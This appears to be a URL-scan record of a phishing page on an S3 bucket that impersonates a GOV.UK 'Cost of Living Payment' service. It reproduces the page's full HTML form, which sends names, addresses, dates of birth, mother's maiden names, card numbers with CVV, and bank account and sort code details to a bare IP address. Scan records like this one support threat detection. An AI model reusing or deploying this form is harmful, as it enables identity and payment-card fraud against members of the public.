elasticbeanstalk-us-east-2-755929794809.s3.amazonaws.com
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52.219.104.4
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Submitted URL: https://s3.amazonaws.com/relatorios-inoprime/24/RSCHDEL5235.html
Effective URL: http://elasticbeanstalk-us-east-2-755929794809.s3.amazonaws.com/paymentgateway/step2.html
Submission: On August 30 via manual from GB — Scanned from GB
Effective URL: http://elasticbeanstalk-us-east-2-755929794809.s3.amazonaws.com/paymentgateway/step2.html
Submission: On August 30 via manual from GB — Scanned from GB
Form analysis
1 forms found in the DOMPOST http://51.11.155.34/paymentgateway/costofliving/step2.php
<form action="http://51.11.155.34/paymentgateway/costofliving/step2.php" method="post" id="gogo">
<div id="id-fullname" class="form-group ">
<label class="form-label-bold text " for="fname"> Full Name </label>
<div id="helpfullname" class="form-hint text "> Please enter your full name </div>
<div id="id-fullname" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="fname" id="fname" name="fname" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="addr" class="form-group ">
<label class="form-label-bold text " for="addr"> Address </label>
<div id="helpfulladdress" class="form-hint text "> Please enter your up to date full address </div>
<div id="addr" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="addr" name="addr" value="" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-town" class="form-group ">
<label class="form-label-bold text " for="town"> Town </label>
<div id="helptown" class="form-hint text "> Please enter your town </div>
<div id="id-town" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="town" name="town" value="" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-county" class="form-group ">
<label class="form-label-bold text " for="county"> County </label>
<div id="id-county" class="form-hint text "> Please enter your county<br>(Optional)<br>
</div>
<div id="id-county" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="county" name="county" value="" aria-describedby="id-section-help-username id-section-error-username "> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-postcode" class="form-group ">
<label class="form-label-bold text " for="postcode"> Post Code </label>
<div id="id-postcode" class="form-hint text "> Please enter your postal code<br><br>Format Example NG1 2SG<br>
</div>
<div id="id-postcode" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="postcode" name="postcode" value="" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-cnumber" class="form-group ">
<label class="form-label-bold text " for="cnumber"> Contact Number </label>
<div id="id-cnumber" class="form-hint text "> Please enter your up to date phone number </div>
<div id="id-cnumber" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="cnumber" name="cnumber" value="" aria-describedby="id-section-help-username id-section-error-username " maxlength="12" onkeypress="return /[0-9]/i.test(event.key)"> <span
class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-dob" class="form-group ">
<label class="form-label-bold text " for="dob"> Date of Birth </label>
<div id="id-dob" class="form-hint text "> Format Example 20/10/1975 </div>
<div id="id-dob" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="dob" name="dob" value="" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-mmn" class="form-group ">
<label class="form-label-bold text " for="mmn"> Mother's Maiden Name </label>
<div id="id-mmn" class="form-hint text "> This information is used to confirm your details. </div>
<div id="id-mmn" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="mmn" name="mmn" value="" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<label class="form-label-bold" for="bd">
<br><br> Bank Details <br><br>
</label>
<div id="bd" class="form-hint text "> We will need to have on file your up to date bank account details so we can process the payment as soon as possible. </div>
<br><br>
<div id="id-cc" class="form-group ">
<label class="form-label-bold text " for="cc"> Card Number </label>
<div id="id-cc" class="form-hint text "> It is often referred to as the 'long number' on the front of your card </div>
<div id="id-cc" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="cc" name="cc" value="" aria-describedby="id-section-help-username id-section-error-username " required="" maxlength="16" onkeypress="return /[0-9]/i.test(event.key)"> <span
class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-exp" class="form-group ">
<label class="form-label-bold text " for="exp"> Expiration Date </label>
<div id="id-exp" class="form-hint text "> Format example: 10/2025 </div>
<div id="id-exp" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="exp" name="exp" value="" aria-describedby="id-section-help-username id-section-error-username " required=""> <span class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-cvv" class="form-group ">
<label class="form-label-bold text " for="cvv"> Card Verification Code <div id="id-cvv" class="form-hint text "> 3 Digits on the back of your card </div>
<div id="id-cvv" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="cvv" name="cvv" value="" aria-describedby="id-section-help-username id-section-error-username " required="" maxlength="4" onkeypress="return /[0-9]/i.test(event.key)"> <span
class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</label>
</div>
<div id="id-ban" class="form-group ">
<label class="form-label-bold text " for="ban"> Bank Account Number </label>
<div id="id-ban" class="form-hint text "> Your bank account number is a unique eight-digit code </div>
<div id="id-ban" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="ban" name="ban" value="" aria-describedby="id-section-help-username id-section-error-username " required="" maxlength="8" onkeypress="return /[0-9]/i.test(event.key)"> <span
class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<div id="id-sc" class="form-group ">
<label class="form-label-bold text " for="sc"> Sort Code </label>
<div id="id-sc" class="form-hint text "> A sort code is a 6 digit number that identifies your bank </div>
<div id="id-sc" data-validation-error="" class="form-error validation-message " aria-live="assertive">
</div>
<input class="form-control input-with-icon" type="text" id="sc" name="sc" value="" aria-describedby="id-section-help-username id-section-error-username " required="" maxlength="8" onkeypress="return /[0-9]/i.test(event.key)"> <span
class="valid-icon hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" focusable="false" width="24" height="28" viewBox="0 0 24 28" class="validation-icon__valid" aria-labelledby="username-valid-icon" role="img">
</svg>
</span>
</div>
<!-- Added the error field to maintain the ordering of error -->
<div class="buttonSpacing">
<div class="form-group">
<input data-tag-submit-button="" id="id-submit-button" class="button" type="submit" value="Submit">
</div>
</div>
</form>
Text Content
Skip to main content GOV.UK Register your details - Cost of Living Payment BETA This is a new service - your feedback will help us to improve it. COST OF LIVING PAYMENT GATEWAY REGISTER YOUR DETAILS Full Name Please enter your full name Address Please enter your up to date full address Town Please enter your town County Please enter your county (Optional) Post Code Please enter your postal code Format Example NG1 2SG Contact Number Please enter your up to date phone number Date of Birth Format Example 20/10/1975 Mother's Maiden Name This information is used to confirm your details. Bank Details We will need to have on file your up to date bank account details so we can process the payment as soon as possible. Card Number It is often referred to as the 'long number' on the front of your card Expiration Date Format example: 10/2025 Card Verification Code 3 Digits on the back of your card Bank Account Number Your bank account number is a unique eight-digit code Sort Code A sort code is a 6 digit number that identifies your bank * Contact * Privacy * Cookies * Accessibility Open Government Licence All content is available under the Open Government Licence v3.0, except where otherwise stated © Crown copyright YOUR SESSION IS DUE TO EXPIRE IN 0 SECONDS We do this automatically to protect your personal information. Keep me signed in Sign out now